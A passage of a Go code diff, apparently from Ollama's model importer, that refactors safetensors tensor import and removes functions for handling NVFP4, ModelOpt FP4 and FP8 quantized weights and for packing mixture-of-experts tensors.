if factory, ok := tensorImportTransformRegistry[cfg.Architecture()]; ok { - return factory(modelDir, cfg) +func newTensorImportTransform(inv Inventory) (quantizePolicy, error) { + if factory, ok := tensorImportTransformRegistry[inv.Config.Architecture()]; ok { + return factory(inv.RawConfig) } - return noopImportTransform{}, nil -} - -// CreateSafetensorsModel imports a standard safetensors model from a directory. -// This handles Hugging Face style models with config.json and *.safetensors files. -// Stores each tensor as a separate blob for fine-grained deduplication. -// Expert tensors are packed into per-layer blobs when createPackedLayer is non-nil. -// If quantize is non-empty (e.g., "int8"), eligible tensors will be quantized. -func CreateSafetensorsModel(modelName, modelDir, quantize string, createLayer LayerCreator, createTensorLayer QuantizingTensorLayerCreator, writeManifest ManifestWriter, fn func(status string), createPackedLayer ...PackedTensorLayerCreator) error { - var layers []LayerInfo - var configLayer LayerInfo - sourceConfig, err := readSourceModelConfig(modelDir) - if err != nil { - return fmt.Errorf("failed to read source config.json: %w", err) - } - sourceQuantKind, err := inspectSourceQuantization(modelDir, sourceConfig) - if err != nil { - return fmt.Errorf("failed to inspect source quantization: %w", err) - } - effectiveQuantize, err := resolveEffectiveQuantization(sourceConfig, sourceQuantKind, quantize) - if err != nil { - return err - } - sourceQuantMetadata := sourceConfig.QuantMetadata() - sourceTensorFiles, err := readSourceTensorFiles(modelDir) - if err != nil { - return fmt.Errorf("failed to read source tensor index: %w", err) - } - importTransform, err := newTensorImportTransform(modelDir, sourceConfig) - if err != nil { - return fmt.Errorf("failed to construct import transform for architecture %q: %w", sourceConfig.Architecture(), err) - } - sourceFP8Transform, _ := importTransform.(sourceFP8TensorImportTransform) - - // Resolve the optional packed layer creator - var packedCreator PackedTensorLayerCreator - if len(createPackedLayer) > 0 { - packedCreator = createPackedLayer[0] - } - // Accumulate expert tensors by group prefix for packing. - // Readers reference file-backed SectionReaders, so we keep extractors - // open until each group is flushed to avoid buffering tensor data in memory. - expertGroups := make(map[string][]PackedTensorInput) - prequantizedExpertGroups := make(map[string][]*safetensors.TensorData) - var expertGroupOrder []string - - // Track open extractors so we can close them after flushing groups - var openExtractors []*safetensors.TensorExtractor - crossFileExtractors := make(map[string]*safetensors.TensorExtractor) - - closeExtractors := func() { - for _, ext := range openExtractors { - ext.Close() - } - openExtractors = nil - for _, ext := range crossFileExtractors { - ext.Close() - } - clear(crossFileExtractors) - } - - entries, err := os.ReadDir(modelDir) - if err != nil { - return fmt.Errorf("failed to read directory: %w", err) - } - - // Process all safetensors files - for _, entry := range entries { - if entry.IsDir() || !strings.HasSuffix(entry.Name(), ".safetensors") { - continue - } - - stPath := filepath.Join(modelDir, entry.Name()) - - // Extract individual tensors from safetensors file - extractor, err := safetensors.OpenForExtraction(stPath) - if err != nil { - closeExtractors() - return fmt.Errorf("failed to open %s: %w", stPath, err) - } - - tensorNames := extractor.ListTensors() - tensorSet := make(map[string]struct{}, len(tensorNames)) - for _, name := range tensorNames { - tensorSet[name] = struct{}{} - } - fn(fmt.Sprintf("importing %s (%d tensors%s)", entry.Name(), len(tensorNames), importQuantizationStatus(sourceQuantKind, effectiveQuantize))) - - // Track whether this extractor has expert tensors that need to stay open - hasExpertTensors := false - - for _, tensorName := range tensorNames { - if importTransform.skipTensor(tensorName) { - continue - } - if shouldSkipSourceCompanion(tensorName, tensorSet, sourceTensorFiles) { - continue - } - sourceFP8ScaleName, hasSourceFP8Scale := sourceFP8Companion(tensorName, tensorSet, sourceTensorFiles) - - td, err := extractor.GetTensor(tensorName) - if err != nil { - extractor.Close() - closeExtractors() - return fmt.Errorf("failed to get tensor %s: %w", tensorName, err) - } - - if packedCreator != nil { - if packedWeightName := strings.TrimSuffix(tensorName, "_packed"); packedWeightName != tensorName { - groupPrefix := ExpertGroupPrefix(packedWeightName) - if groupPrefix != "" { - packedTensors, ok, err := packedNVFP4TensorData(modelDir, extractor, crossFileExtractors, td, tensorName, tensorSet, sourceTensorFiles) - if err != nil { - extractor.Close() - closeExtractors() - return err - } - if ok { - hasExpertTensors = true - if _, exists := prequantizedExpertGroups[groupPrefix]; !exists { - expertGroupOrder = append(expertGroupOrder, groupPrefix) - } - prequantizedExpertGroups[groupPrefix] = append(prequantizedExpertGroups[groupPrefix], packedTensors...) - continue - } - } - } - } - - if effectiveQuantize == "" { - layer, ok, err := createPrequantizedLayer(extractor, td, tensorName, tensorSet, sourceQuantMetadata, createLayer) - if err != nil { - extractor.Close() - closeExtractors() - return err - } - if ok { - layers = append(layers, layer) - continue - } - layer, ok, err = createPackedNVFP4Layer(modelDir, extractor, crossFileExtractors, td, tensorName, tensorSet, sourceTensorFiles, sourceQuantMetadata, createLayer) - if err != nil { - extractor.Close() - closeExtractors() - return err - } - if ok { - layers = append(layers, layer) - continue - } - // Try ModelOpt NVFP4 format (weight_scale + weight_scale_2) - layer, ok, err = createModelOptFP4Layer(extractor, td, tensorName, tensorSet, sourceQuantMetadata, createLayer) - if err != nil { - extractor.Close() - closeExtractors() - return err - } - if ok { - layers = append(layers, layer) - continue - } - } - - outputTensors, err := importTransform.transformTensor(td) - if err != nil { - extractor.Close() - closeExtractors() - return fmt.Errorf("failed to transform tensor %s: %w", tensorName, err) - } - - for _, outTD := range outputTensors { - // Determine quantization type for this tensor (empty string if not quantizing) - // GetTensorQuantization handles mixed-precision (e.g., Q8 for attention, Q4 for FFN) - quantizeType := "" - switch { - case sourceQuantKind == sourceQuantizedKindSourceFP8 && hasSourceFP8Scale: - quantizeType = importTransform.quantizationType(outTD.Name, outTD.Shape, effectiveQuantize) - if quantizeType == "" && effectiveQuantize == "mxfp8" { - // Source FP8 tensors are already quantized weights and small - // synthetic tests may not pass the generic import size filter. - quantizeType = "mxfp8" - } - if sourceFP8Transform != nil { - quantizeType = sourceFP8Transform.sourceFP8TensorQuantization(outTD.Name, outTD.Shape, quantize, quantizeType) - } else { - quantizeType = sourceFP8TensorQuantization(outTD.Name, outTD.Shape, quantize, quantizeType) - } - case sourceQuantKind == sourceQuantizedKindSourceFP8: - if sourceFP8Transform != nil { - quantizeType = sourceFP8Transform.sourceFP8BF16Quantization(outTD.Name, outTD.Shape, quantize) - } else { - quantizeType = sourceFP8BF16PromotionQuantization(outTD.Name, outTD.Shape, quantize) - } - case effectiveQuantize != "": - quantizeType = importTransform.quantizationType(outTD.Name, outTD.Shape, effectiveQuantize) - } - reader := outTD.SafetensorsReader() - if hasSourceFP8Scale { - if len(outputTensors) != 1 { - extractor.Close() - closeExtractors() - return fmt.Errorf("source fp8 tensor %s rewrote into %d tensors; only 1:1 rewrites are supported", tensorName, len(outputTensors)) - } - if quantizeType == "" { - extractor.Close() - closeExtractors() - return fmt.Errorf("source fp8 tensor %s was not scheduled for %s conversion", tensorName, effectiveQuantize) - } - scaleTD, err := getTensorFromSource(modelDir, extractor, crossFileExtractors, sourceTensorFiles, sourceFP8ScaleName) - if err != nil { - extractor.Close() - closeExtractors() - return fmt.Errorf("failed to get fp8 scale tensor %s: %w", sourceFP8ScaleName, err) - } - reader = buildSourceFP8Reader(outTD, scaleTD) - } - - // Check if this tensor belongs to an expert group for packing - groupPrefix := "" - if packedCreator != nil { - groupPrefix = ExpertGroupPrefix(outTD.Name) - } - - if groupPrefix != "" { - // Accumulate expert tensor for packed blob. - // The Reader uses a file-backed SectionReader, so we must - // keep the extractor open until this group is flushed. - hasExpertTensors = true - if _, exists := expertGroups[groupPrefix]; !exists { - expertGroupOrder = append(expertGroupOrder, groupPrefix) - } - expertGroups[groupPrefix] = append(expertGroups[groupPrefix], PackedTensorInput{ - Name: outTD.Name, - Dtype: outTD.Dtype, - Shape: outTD.Shape, - Quantize: quantizeType, - Reader: reader, - }) - } else { - // Store as minimal safetensors format (88 bytes header overhead) - // This enables native mmap loading via mlx_load_safetensors - // createTensorLayer returns multiple layers if quantizing (weight + scales) - newLayers, err := createTensorLayer(reader, outTD.Name, outTD.Dtype, outTD.Shape, quantizeType) - if err != nil { - extractor.Close() - closeExtractors() - return fmt.Errorf("failed to create layer for %s: %w", outTD.Name, err) - } - layers = append(layers, newLayers...) - } - } - } - - if hasExpertTensors { - // Keep extractor open - readers still reference its file handle - openExtractors = append(openExtractors, extractor) - } else { - extractor.Close() - } - } - - // Process accumulated expert groups into packed blobs, then close extractors - if packedCreator != nil { - sort.Strings(expertGroupOrder) - for _, groupName := range expertGroupOrder { - if tensors := prequantizedExpertGroups[groupName]; len(tensors) > 0 { - layer, ok, err := createPackedNVFP4ExpertGroupLayer(groupName, tensors, createLayer) - if err != nil { - closeExtractors() - return fmt.Errorf("failed to create packed prequantized layer for %s: %w", groupName, err) - } - if ok { - layers = append(layers, layer) - continue - } - layer, err = createLayer( - safetensors.BuildPackedSafetensorsReaderWithMetadata(tensors, map[string]string{ - "quant_type": "nvfp4", - "group_size": "16", - }), - "application/vnd.ollama.image.tensor", - groupName, - ) - if err != nil { - closeExtractors() - return fmt.Errorf("failed to create packed prequantized layer for %s: %w", groupName, err) - } - layers = append(layers, layer) - continue - } - tensors := expertGroups[groupName] - fn(fmt.Sprintf("packing %s (%d tensors)", groupName, len(tensors))) - layer, err := packedCreator(groupName, tensors) - if err != nil { - closeExtractors() - return fmt.Errorf("failed to create packed layer for %s: %w", groupName, err) - } - layers = append(layers, layer) - } - } - closeExtractors() - - // Process all JSON config files - for _, entry := range entries { - if entry.IsDir() || !strings.HasSuffix(entry.Name(), ".json") { - continue - } - - // Skip the index file as we don't need it after extraction - if entry.Name() == "model.safetensors.index.json" { - continue - } - - cfgPath := entry.Name() - fullPath := filepath.Join(modelDir, cfgPath) - - fn(fmt.Sprintf("importing config %s", cfgPath)) - - f, err := os.Open(fullPath) - if err != nil { - return fmt.Errorf("failed to open %s: %w", cfgPath, err) - } - - layer, err := createLayer(f, "application/vnd.ollama.image.json", cfgPath) - f.Close() - if err != nil { - return fmt.Errorf("failed to create layer for %s: %w", cfgPath, err) - } - - // Use config.json as the config layer - if cfgPath == "config.json" { - configLayer = layer - } - - layers = append(layers, layer) - } - - if configLayer.Digest == "" { - return fmt.Errorf("config.json not found in %s", modelDir) - } - - fn(fmt.Sprintf("writing manifest for %s", modelName)) - - if err := writeManifest(modelName, configLayer, layers); err != nil { - return fmt.Errorf("failed to write manifest: %w", err) - } - - fn(fmt.Sprintf("successfully imported %s with %d layers", modelName, len(layers))) - return nil -} - -func normalizeRequestedQuantization(flagName, quantize string) (string, error) { - q := normalizeQuantType(strings.TrimSpace(quantize)) - switch q { - case "", "int4", "int8", "nvfp4", "mxfp4", "mxfp8": - return q, nil - default: - return "", fmt.Errorf("unsupported %s %q: supported types are int4, int8, nvfp4, mxfp4, mxfp8", flagName, quantize) - } -} - -// CreateDraftSafetensorsLayers imports an assistant/draft safetensors model -// into prefixed tensor and config layers. When draftQuantize is non-empty, -// eligible draft tensors are quantized with the same per-architecture policy -// used by target safetensors imports. -func CreateDraftSafetensorsLayers(modelDir, tensorPrefix, configPrefix, draftQuantize string, createLayer LayerCreator, createTensorLayer QuantizingTensorLayerCreator, fn func(status string)) ([]LayerInfo, error) { - if tensorPrefix == "" { - return nil, fmt.Errorf("draft tensor prefix must not be empty") - } - if configPrefix == "" { - return nil, fmt.Errorf("draft config prefix must not be empty") - } - effectiveQuantize, err := normalizeRequestedQuantization("--draft-quantize", draftQuantize) - if err != nil { - return nil, err - } - - var importTransform tensorImportTransform = noopImportTransform{} - if effectiveQuantize != "" { - sourceConfig, err := readSourceModelConfig(modelDir) - if err != nil { - return nil, fmt.Errorf("failed to read draft config.json: %w", err) - } - sourceQuantKind, err := inspectSourceQuantization(modelDir, sourceConfig) - if err != nil { - return nil, fmt.Errorf("failed to inspect draft quantization: %w", err) - } - effectiveQuantize, err = resolveEffectiveQuantizationForFlag(sourceConfig, sourceQuantKind, effectiveQuantize, "--draft-quantize") - if err != nil { - return nil, err - } - importTransform, err = newTensorImportTransform(modelDir, sourceConfig) - if err != nil { - return nil, fmt.Errorf("failed to construct draft import transform for architecture %q: %w", sourceConfig.Architecture(), err) - } - } - - entries, err := os.ReadDir(modelDir) - if err != nil { - return nil, fmt.Errorf("failed to read draft directory: %w", err) - } - - var layers []LayerInfo - for _, entry := range entries { - if entry.IsDir() || !strings.HasSuffix(entry.Name(), ".safetensors") { - continue - } - - stPath := filepath.Join(modelDir, entry.Name()) - extractor, err := safetensors.OpenForExtraction(stPath) - if err != nil { - return nil, fmt.Errorf("failed to open draft %s: %w", stPath, err) - } - - tensorNames := extractor.ListTensors() - fn(fmt.Sprintf("importing draft %s (%d tensors%s)", entry.Name(), len(tensorNames), importQuantizationStatus(sourceQuantizedKindNone, effectiveQuantize))) - for _, tensorName := range tensorNames { - if importTransform.skipTensor(tensorName) { - continue - } - td, err := extractor.GetTensor(tensorName) - if err != nil { - extractor.Close() - return nil, fmt.Errorf("failed to get draft tensor %s: %w", tensorName, err) - } - - outTDs, err := importTransform.transformTensor(td) - if err != nil { - extractor.Close() - return nil, fmt.Errorf("failed to transform draft tensor %s: %w", tensorName, err) - } - for _, transformedTD := range outTDs { - if transformedTD == nil { - continue - } - outTD := transformedTD.WithName(tensorPrefix + transformedTD.Name) - quantizeType := "" - if effectiveQuantize != "" { - quantizeType = importTransform.quantizationType(outTD.Name, outTD.Shape, effectiveQuantize) - if isEmbedTokensWeight(outTD.Name) { - quantizeType = "" - } - } - newLayers, err := createTensorLayer(outTD.SafetensorsReader(), outTD.Name, outTD.Dtype, outTD.Shape, quantizeType) - if err != nil { - extractor.Close() - return nil, fmt.Errorf("failed to create draft layer for %s: %w", tensorName, err) - } - layers = append(layers, newLayers...) - } - } - extractor.Close() - } - - for _, entry := range entries { - if entry.IsDir() || !strings.HasSuffix(entry.Name(), ".json") { - continue - } - if entry.Name() == "model.safetensors.index.json" { - continue - } - - cfgPath := entry.Name() - fullPath := filepath.Join(modelDir, cfgPath) - fn(fmt.Sprintf("importing draft config %s", cfgPath)) - - f, err := os.Open(fullPath) - if err != nil { - return nil, fmt.Errorf("failed to open draft %s: %w", cfgPath, err) - } - layer, err := createLayer(f, "application/vnd.ollama.image.json", path.Join(configPrefix, cfgPath)) - f.Close() - if err != nil { - return nil, fmt.Errorf("failed to create draft config layer for %s: %w", cfgPath, err) - } - layers = append(layers, layer) - } - - return layers, nil -} - -func shouldSkipSourceCompanion(name string, tensorSet map[string]struct{}, sourceTensorFiles map[string]string) bool { - switch { - case strings.HasSuffix(name, ".scales"): - _, ok := tensorSet[strings.TrimSuffix(name, ".scales")+".weight"] - return ok - case strings.HasSuffix(name, ".biases"): - _, ok := tensorSet[strings.TrimSuffix(name, ".biases")+".weight"] - return ok - case strings.HasSuffix(name, ".weight_scale_inv"): - _, ok := tensorSet[strings.TrimSuffix(name, "_scale_inv")] - return ok - case strings.HasSuffix(name, ".weight_scale"): - base := strings.TrimSuffix(name, "_scale") - if _, ok := tensorSet[base]; ok { - return true - } - if _, ok := sourceTensorFiles[base+"_packed"]; ok { - return true - } - _, ok := tensorSet[base+"_packed"] - return ok - // ModelOpt NVFP4 companion tensors - case strings.HasSuffix(name, ".weight_scale_2"): - _, ok := tensorSet[strings.TrimSuffix(name, "_scale_2")] - return ok - case strings.HasSuffix(name, ".input_scale"): - // Activation scale for ModelOpt — not needed for weight-only inference - base := strings.TrimSuffix(name, ".input_scale") - _, ok := tensorSet[base+".weight"] - return ok - case strings.HasSuffix(name, ".weight_global_scale"): - base := strings.TrimSuffix(name, ".weight_global_scale") - if _, ok := sourceTensorFiles[base+".weight_packed"]; ok { - return true - } - _, ok := tensorSet[base+".weight_packed"] - return ok - case strings.HasSuffix(name, ".input_global_scale"): - base := strings.TrimSuffix(name, ".input_global_scale") - if _, ok := sourceTensorFiles[base+".weight_packed"]; ok { - return true - } - _, ok := tensorSet[base+".weight_packed"] - return ok - default: - return false - } -} - -func sourceFP8Companion(weightName string, tensorSet map[string]struct{}, sourceTensorFiles map[string]string) (scaleName string, ok bool) { - if !strings.HasSuffix(weightName, ".weight") { - return "", false - } - - scaleName = weightName + "_scale_inv" - if _, ok = tensorSet[scaleName]; ok { - return scaleName, true - } - if _, ok = sourceTensorFiles[scaleName]; ok { - return scaleName, true - } - scaleName = weightName + "_scale" - if _, ok = tensorSet[scaleName]; ok { - return scaleName, true - } - _, ok = sourceTensorFiles[scaleName] - return scaleName, ok + return defaultQuantPolicy{}, nil } func buildSourceFP8Reader(weightTD, scaleTD *safetensors.TensorData) io.Reader { @@ -1389,404 +506,6 @@ func buildSourceFP8Reader(weightTD, scaleTD *safetensors.TensorData) io.Reader { return safetensors.BuildPackedSafetensorsReader([]*safetensors.TensorData{weightTD, scaleTD.WithName(scaleName)}) } -func createPrequantizedLayer( - extractor *safetensors.TensorExtractor, - td *safetensors.TensorData, - tensorName string, - tensorSet map[string]struct{}, - metadata map[string]string, - createLayer LayerCreator, -) (LayerInfo, bool, error) { - scaleName, biasName, ok := prequantizedCompanions(tensorName, tensorSet) - if !ok { - return LayerInfo{}, false, nil - } - - tensors := []*safetensors.TensorData{td.WithName(tensorName)} - - scaleTD, err := extractor.GetTensor(scaleName) - if err != nil { - return LayerInfo{}, false, fmt.Errorf("failed to get tensor %s: %w", scaleName, err) - } - tensors = append(tensors, scaleTD.WithName(tensorName+".scale")) - - if biasName != "" { - biasTD, err := extractor.GetTensor(biasName) - if err != nil { - return LayerInfo{}, false, fmt.Errorf("failed to get tensor %s: %w", biasName, err) - } - tensors = append(tensors, biasTD.WithName(tensorName+".bias")) - } - - layer, err := createLayer( - safetensors.BuildPackedSafetensorsReaderWithMetadata(tensors, metadata), - "application/vnd.ollama.image.tensor", - tensorName, - ) - if err != nil { - return LayerInfo{}, false, fmt.Errorf("failed to create prequantized layer for %s: %w", tensorName, err) - } - return layer, true, nil -} - -func prequantizedCompanions(weightName string, tensorSet map[string]struct{}) (scaleName, biasName string, ok bool) { - if !strings.HasSuffix(weightName, ".weight") { - return "", "", false - } - - base := strings.TrimSuffix(weightName, ".weight") - scaleName = base + ".scales" - if _, ok := tensorSet[scaleName]; !ok { - return "", "", false - } - - biasName = base + ".biases" - if _, ok := tensorSet[biasName]; !ok { - biasName = "" - } - return scaleName, biasName, true -} - -// createModelOptFP4Layer creates a pre-quantized layer from NVIDIA ModelOpt -// NVFP4 tensors. The weight (U8) and scale (F8_E4M3 stored as uint8) are -// packed with the per-tensor global scale (weight_scale_2) into a single -// safetensors blob. The tensor names are mapped to our standard format: -// - source.weight → tensorName (weight data, kept as-is) -// - source.weight_scale → tensorName.scale (FP8 E4M3 bytes as uint8) -// - source.weight_scale_2 → tensorName.global_scale (F32 scalar) -func createModelOptFP4Layer( - extractor *safetensors.TensorExtractor, - td *safetensors.TensorData, - tensorName string, - tensorSet map[string]struct{}, - metadata map[string]string, - createLayer LayerCreator, -) (LayerInfo, bool, error) { - scaleName, globalScaleName, ok := modelOptFP4Companions(tensorName, tensorSet) - if !ok { - return LayerInfo{}, false, nil - } - - // NVIDIA packs FP4 as U8 (2 values/byte), MLX expects U32 (8 values/uint32). - // Repack: view the U8 data as U32 (4 consecutive bytes → 1 uint32) and - // adjust the shape from [out, in/2] to [out, in/8]. - weightTD := td.WithName(tensorName) - if strings.ToUpper(weightTD.Dtype) == "U8" && len(weightTD.Shape) == 2 { - weightTD.Dtype = "U32" - weightTD.Shape = []int32{weightTD.Shape[0], weightTD.Shape[1] / 4} - } - tensors := []*safetensors.TensorData{weightTD} - - scaleTD, err := extractor.GetTensor(scaleName) - if err != nil { - return LayerInfo{}, false, fmt.Errorf("failed to get tensor %s: %w", scaleName, err) - } - // F8_E4M3 scales stored as uint8 — fix the dtype for our loader - scaleRenamed := scaleTD.WithName(tensorName + ".scale") - if strings.ToUpper(scaleRenamed.Dtype) == "F8_E4M3" { - scaleRenamed.Dtype = "U8" - } - tensors = append(tensors, scaleRenamed) - - if globalScaleName != "" { - gsTD, err := extractor.GetTensor(globalScaleName) - if err != nil { - return LayerInfo{}, false, fmt.Errorf("failed to get tensor %s: %w", globalScaleName, err) - } - gsTD, err = validateScalarFloat32TensorData(gsTD, tensorName+".global_scale") - if err != nil { - return LayerInfo{}, false, fmt.Errorf("failed to normalize tensor %s: %w", globalScaleName, err) - } - tensors = append(tensors, gsTD) - } - - // Add nvfp4 quant metadata - md := make(map[string]string) - for k, v := range metadata { - md[k] = v - } - md["quant_type"] = "nvfp4" - - layer, err := createLayer( - safetensors.BuildPackedSafetensorsReaderWithMetadata(tensors, md), - "application/vnd.ollama.image.tensor", - tensorName, - ) - if err != nil { - return LayerInfo{}, false, fmt.Errorf("failed to create ModelOpt FP4 layer for %s: %w", tensorName, err) - } - return layer, true, nil -} - -// createPackedNVFP4Layer creates a pre-quantized layer from packed NVFP4 -// tensors that use the newer source layout: -// - source.weight_packed -> tensorName (U32 repacked weight) -// - source.weight_scale -> tensorName.scale -// - source.weight_global_scale -> reciprocal stored as tensorName.global_scale -// - source.input_global_scale -> ignored for weight-only inference -func createPackedNVFP4Layer( - modelDir string, - extractor *safetensors.TensorExtractor, - crossFileExtractors map[string]*safetensors.TensorExtractor, - td *safetensors.TensorData, - tensorName string, - tensorSet map[string]struct{}, - sourceTensorFiles map[string]string, - metadata map[string]string, - createLayer LayerCreator, -) (LayerInfo, bool, error) { - weightName, scaleName, weightGlobalScaleName, _, ok := packedNVFP4Companions(tensorName, tensorSet, sourceTensorFiles) - if !ok { - return LayerInfo{}, false, nil - } - - weightTD := td.WithName(weightName) - if strings.ToUpper(weightTD.Dtype) == "U8" && len(weightTD.Shape) == 2 { - weightTD.Dtype = "U32" - weightTD.Shape = []int32{weightTD.Shape[0], weightTD.Shape[1] / 4} - } - tensors := []*safetensors.TensorData{weightTD} - - scaleTD, err := getTensorFromSource(modelDir, extractor, crossFileExtractors, sourceTensorFiles, scaleName) - if err != nil { - return LayerInfo{}, false, fmt.Errorf("failed to get tensor %s: %w", scaleName, err) - } - scaleRenamed := scaleTD.WithName(weightName + ".scale") - if strings.ToUpper(scaleRenamed.Dtype) == "F8_E4M3" { - scaleRenamed.Dtype = "U8" - } - tensors = append(tensors, scaleRenamed) - - if weightGlobalScaleName != "" { - gsTD, err := getTensorFromSource(modelDir, extractor, crossFileExtractors, sourceTensorFiles, weightGlobalScaleName) - if err != nil { - return LayerInfo{}, false, fmt.Errorf("failed to get tensor %s: %w", weightGlobalScaleName, err) - } - gsTD, err = invertScalarFloat32TensorData(gsTD, weightName+".global_scale") - if err != nil { - return LayerInfo{}, false, fmt.Errorf("failed to normalize tensor %s: %w", weightGlobalScaleName, err) - } - tensors = append(tensors, gsTD) - } - - md := make(map[string]string) - for k, v := range metadata { - md[k] = v - } - md["quant_type"] = "nvfp4" - if _, ok := md["group_size"]; !ok { - md["group_size"] = "16" - } - - layer, err := createLayer( - safetensors.BuildPackedSafetensorsReaderWithMetadata(tensors, md), - "application/vnd.ollama.image.tensor", - weightName, - ) - if err != nil { - return LayerInfo{}, false, fmt.Errorf("failed to create packed NVFP4 layer for %s: %w", tensorName, err) - } - return layer, true, nil -} - -type stackedTempTensor struct { - tensor *safetensors.TensorData - file *os.File - path string -} - -func createPackedNVFP4ExpertGroupLayer(groupName string, tensors []*safetensors.TensorData, createLayer LayerCreator) (LayerInfo, bool, error) { - stacked, metadata, ok, err := stackPackedNVFP4ExpertGroup(groupName, tensors) - if err != nil || !ok { - return LayerInfo{}, ok, err - } - defer func() { - for _, td := range stacked { - if td.file != nil { - td.file.Close() - } - if td.path != "" { - os.Remove(td.path) - } - } - }() - - packed := make([]*safetensors.TensorData, 0, len(stacked)) - for _, td := range stacked { - packed = append(packed, td.tensor) - } - layer, err := createLayer( - safetensors.BuildPackedSafetensorsReaderWithMetadata(packed, metadata), - "application/vnd.ollama.image.tensor", - groupName, - ) - if err != nil { - return LayerInfo{}, true, err - } - return layer, true, nil -} - -func stackPackedNVFP4ExpertGroup(groupName string, tensors []*safetensors.TensorData) ([]stackedTempTensor, map[string]string, bool, error) { - if !strings.HasSuffix(groupName, ".experts") { - return nil, nil, false, nil - } - - type namedExpertTensor struct { - expert int - name string - td *safetensors.TensorData - } - - grouped := make(map[string][]namedExpertTensor) - for _, td := range tensors { - suffix := strings.TrimPrefix(td.Name, groupName) - m := prequantizedExpertSuffixRegexp.FindStringSubmatch(suffix) - if m == nil { - return nil, nil, false, nil - } - expert, err := strconv.Atoi(m[1]) - if err != nil { - return nil, nil, false, fmt.Errorf("invalid expert index in %q: %w", td.Name, err) - } - grouped[m[2]] = append(grouped[m[2]], namedExpertTensor{ - expert: expert, - name: td.Name, - td: td, - }) - } - if len(grouped) == 0 { - return nil, nil, false, nil - } - - groupBase := strings.TrimSuffix(groupName, ".experts") + ".switch_mlp." - names := make([]string, 0, len(grouped)) - for name := range grouped { - names = append(names, name) - } - sort.Strings(names) - - var stacked []stackedTempTensor - metadata := map[string]string{ - "quant_type": "nvfp4", - "group_size": "16", - } - cleanup := func() { - for _, td := range stacked { - if td.file != nil { - td.file.Close() - } - if td.path != "" { - os.Remove(td.path) - } - } - } - - for _, name := range names { - if strings.HasSuffix(name, ".input_global_scale") { - continue - } - experts := grouped[name] - sort.Slice(experts, func(i, j int) bool { return experts[i].expert < experts[j].expert }) - if len(experts) == 0 { - continue - } - - stackedName := groupBase + name - baseShape := append([]int32(nil), experts[0].td.Shape...) - stackedShape := make([]int32, 0, len(baseShape)+1) - stackedShape = append(stackedShape, int32(len(experts))) - switch { - case strings.HasSuffix(name, ".global_scale"), strings.HasSuffix(name, ".input_global_scale"): - stackedShape = append(stackedShape, 1, 1) - default: - stackedShape = append(stackedShape, baseShape...) - } - - f, err := os.CreateTemp("", "ollama-packed-nvfp4-*.bin") - if err != nil { - cleanup() - return nil, nil, false, fmt.Errorf("create temp tensor for %s: %w", stackedName, err) - } - - var size int64 - for _, expert := range experts { - if expert.td.Dtype != experts[0].td.Dtype || !slices.Equal(expert.td.Shape, experts[0].td.Shape) { - f.Close() - os.Remove(f.Name()) - cleanup() - return nil, nil, false, fmt.Errorf("mismatched expert tensor layout in %s", stackedName) - } - written, err := io.Copy(f, expert.td.Reader()) - if err != nil { - f.Close() - os.Remove(f.Name()) - cleanup() - return nil, nil, false, fmt.Errorf("stack tensor %s: %w", expert.name, err) - } - size += written - } - - stacked = append(stacked, stackedTempTensor{ - tensor: safetensors.NewTensorDataFromReaderAt(stackedName, experts[0].td.Dtype, stackedShape, f, size), - file: f, - path: f.Name(), - }) - - if strings.HasSuffix(name, ".weight") { - metadata[stackedName+".quant_type"] = "nvfp4" - metadata[stackedName+".group_size"] = "16" - } - } - - return stacked, metadata, true, nil -} - -func packedNVFP4TensorData( - modelDir string, - extractor *safetensors.TensorExtractor, - crossFileExtractors map[string]*safetensors.TensorExtractor, - td *safetensors.TensorData, - tensorName string, - tensorSet map[string]struct{}, - sourceTensorFiles map[string]string, -) ([]*safetensors.TensorData, bool, error) { - weightName, scaleName, weightGlobalScaleName, _, ok := packedNVFP4Companions(tensorName, tensorSet, sourceTensorFiles) - if !ok { - return nil, false, nil - } - - weightTD := td.WithName(weightName) - if strings.ToUpper(weightTD.Dtype) == "U8" && len(weightTD.Shape) == 2 { - weightTD.Dtype = "U32" - weightTD.Shape = []int32{weightTD.Shape[0], weightTD.Shape[1] / 4} - } - tensors := []*safetensors.TensorData{weightTD} - - scaleTD, err := getTensorFromSource(modelDir, extractor, crossFileExtractors, sourceTensorFiles, scaleName) - if err != nil { - return nil, false, fmt.Errorf("failed to get tensor %s: %w", scaleName, err) - } - scaleRenamed := scaleTD.WithName(weightName + ".scale") - if strings.ToUpper(scaleRenamed.Dtype) == "F8_E4M3" { - scaleRenamed.Dtype = "U8" - } - tensors = append(tensors, scaleRenamed) - - if weightGlobalScaleName != "" { - gsTD, err := getTensorFromSource(modelDir, extractor, crossFileExtractors, sourceTensorFiles, weightGlobalScaleName) - if err != nil { - return nil, false, fmt.Errorf("failed to get tensor %s: %w", weightGlobalScaleName, err) - } - gsTD, err = invertScalarFloat32TensorData(gsTD, weightName+".global_scale") - if err != nil { - return nil, false, fmt.Errorf("failed to normalize tensor %s: %w", weightGlobalScaleName, err) - } - tensors = append(tensors, gsTD) - } - - return tensors, true, nil -} - func validateScalarFloat32TensorData(td *safetensors.TensorData, name string) (*safetensors.TensorData, error) { if td == nil { return nil, nil @@ -1827,56 +546,6 @@ func invertScalarFloat32TensorData(td *safetensors.TensorData, name string) (*sa return safetensors.NewTensorDataFromBytes(name, td.Dtype, td.Shape, out), nil } -// modelOptFP4Companions finds the companion tensors for a ModelOpt NVFP4 -// quantized weight: weight_scale (per-group FP8 E4M3 scales) and optional -// weight_scale_2 (per-tensor global scale). -func modelOptFP4Companions(weightName string, tensorSet map[string]struct{}) (scaleName, globalScaleName string, ok bool) { - if !strings.HasSuffix(weightName, ".weight") { - return "", "", false - } - - scaleName = weightName + "_scale" - if _, ok := tensorSet[scaleName]; !ok { - return "", "", false - } - - globalScaleName = weightName + "_scale_2" - if _, ok := tensorSet[globalScaleName]; !ok { - globalScaleName = "" - } - return scaleName, globalScaleName, true -} - -func packedNVFP4Companions(weightPackedName string, tensorSet map[string]struct{}, sourceTensorFiles map[string]string) (weightName, scaleName, weightGlobalScaleName, inputGlobalScaleName string, ok bool) { - if !strings.HasSuffix(weightPackedName, ".weight_packed") { - return "", "", "", "", false - } - - weightName = strings.TrimSuffix(weightPackedName, "_packed") - scaleName = strings.TrimSuffix(weightPackedName, "_packed") + "_scale" - if _, ok := tensorSet[scaleName]; !ok { - if _, ok := sourceTensorFiles[scaleName]; !ok { - return "", "", "", "", false - } - } - - weightGlobalScaleName = strings.TrimSuffix(weightPackedName, "_packed") + "_global_scale" - if _, ok := tensorSet[weightGlobalScaleName]; !ok { - if _, ok := sourceTensorFiles[weightGlobalScaleName]; !ok { - weightGlobalScaleName = "" - } - } - - 